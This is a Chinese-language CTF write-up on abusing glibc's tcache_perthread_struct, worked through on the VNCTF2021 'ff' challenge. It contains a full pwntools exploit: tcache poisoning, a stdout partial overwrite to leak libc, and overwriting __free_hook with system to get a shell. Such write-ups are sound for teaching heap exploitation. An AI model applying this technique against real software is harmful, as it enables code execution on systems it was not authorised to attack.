tcache_perthread_struct

[TOC] tcache_perthread_struct可以free掉,在libc2.30以下的版本tcache_perthread_struct大小为0x250;在libc2.30及以上大小变成了0x290(因为counts的类型从char变成了uint16_t) 可以在tcache_perthread_struct上进行堆布局实现一些目的

  1. 修改counts 之前写过一个题只让申请两个堆块,但是我们想要填满tcache来泄露libcbase,这时候可以先泄露heapbase得到tcache_perthread_struct的位置,修改tcache_perthread_struct中的counts域达到填满tcache的效果
  2. 直接在tcache_perthread_struct里面进行堆布局 tcache_perthread_struct可以被free

VNCTF2021 ff

  • 此题只可show一次,edit两次,因为这唯一一次show显然是泄露heapbase,泄露libcbase就需要通过打stdout来进行
  • show,del,show只可对最近add的堆块进行,这是很大一个难点
  • 通过edit让申请到的tcache_perthread_struct使0x290的tcache变满,再free掉tcache_perthread_struct,那么tcache_perthread_struct就进入了unsorted bin,这时候再分配chunk,就会切割tcache_perthread_struct然后向tcache_perthread_struct写入main_arena附近的位置,为了保持unsorted bin不断,相应的fd,bk都写入了unsortedbin所在的位置,再进行partial overwrite就造出了_IO_2_1_stdout
  • 通过编辑tcache_entry *entries[TCACHE_MAX_BINS]里面内容,相当于给tcache添加了某些chunk,但是要注意取chunk时tcache的counts要大于1
  • 错误分析
  • 第一处申请tcache_perthread_struct结构时最初想这样构造,这里的错误是再add(0x70,b)会从tcache里面取chunk,修改后0x80 tcache:chunk->tcache_perthread_struct,但是此时0x80的counts为1,申请不出来tcache_perthread_struct
add(0x70,'a')
    delete()
    show()
    heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
    print('heapbase:',hex(heap_base))
    #覆盖key进行double free
    add(0x70,'b')
    delete()
    #tcache poison得到tcache_perthread_struct结构的counts
    edit(p64(((heap_base+0x2a0)>>12)^(heap_base+0x10)))
    add(0x70,'a')
    #chunk大小为0x290的tcache被填满
    add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/ff"
libc=ELF("/home/zp9080/PWN/libc-2.32.so")
elf=ELF(file)

global p
def dbg():
     gdb.attach(p,'b *$rebase(0xE5E)')


def add(size,content):
    p.sendlineafter(">>",str(1))
    p.sendlineafter("Size:\n",str(size))
    p.sendafter("Content:\n",content)
    
def delete():
    p.sendlineafter(">>",str(2))
    
def show():
    p.sendlineafter(">>",str(3))
    
def edit(content):
    p.sendlineafter(">>",str(5))
    p.sendafter("Content:\n",content)

def exp():
    add(0x70,'a')
    delete()
    show()
    heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
    print('heapbase:',hex(heap_base))

    #覆盖key进行double free
    edit('b'*0x10)
    delete()
    #tcache poison得到tcache_perthread_struct结构的counts
    edit(p64(((heap_base+0x2a0)>>12)^(heap_base+0x10)))
    add(0x70,'a')

    #chunk大小为0x290的tcache被填满
    add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
    #tcache_perthread_struct结构进入unsorted bin
    delete()

    #chunk大小为0x50,0x80的tcache为1
    add(0x40,'\x00\x00'*3+'\x01\x00'*1+'\x00\x00'*2+'\x01\x00')
    add(0x30,b'\x00'*0x30)

    #add后0x50 tcache:IO_2_1_stdout
    add(0x10,'\x00'*8+'\xc0\x16')
    #申请IO_2_1_stdout,这个是从tcache里面取的,unsorted bin没动
   
    add(0x40,p64(0xfbad1887)+p64(0)*3+b'\x00')

    libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4744
    print('libcbase',hex(libc_base))

    #add后0x80 tcache:__free_hook
    add(0x10,p64(libc_base+libc.symbols['__free_hook']))
    #申请__free_hook,这个是从tcache里面取的,unsorted bin没动
    add(0x70,p64(libc_base+libc.symbols['system']))

    add(0x10,'/bin/sh\x00')
    delete()
    p.interactive()

while True:
        try:
            p=process(file)
            exp()
            break
        except:
            p.close()
            continue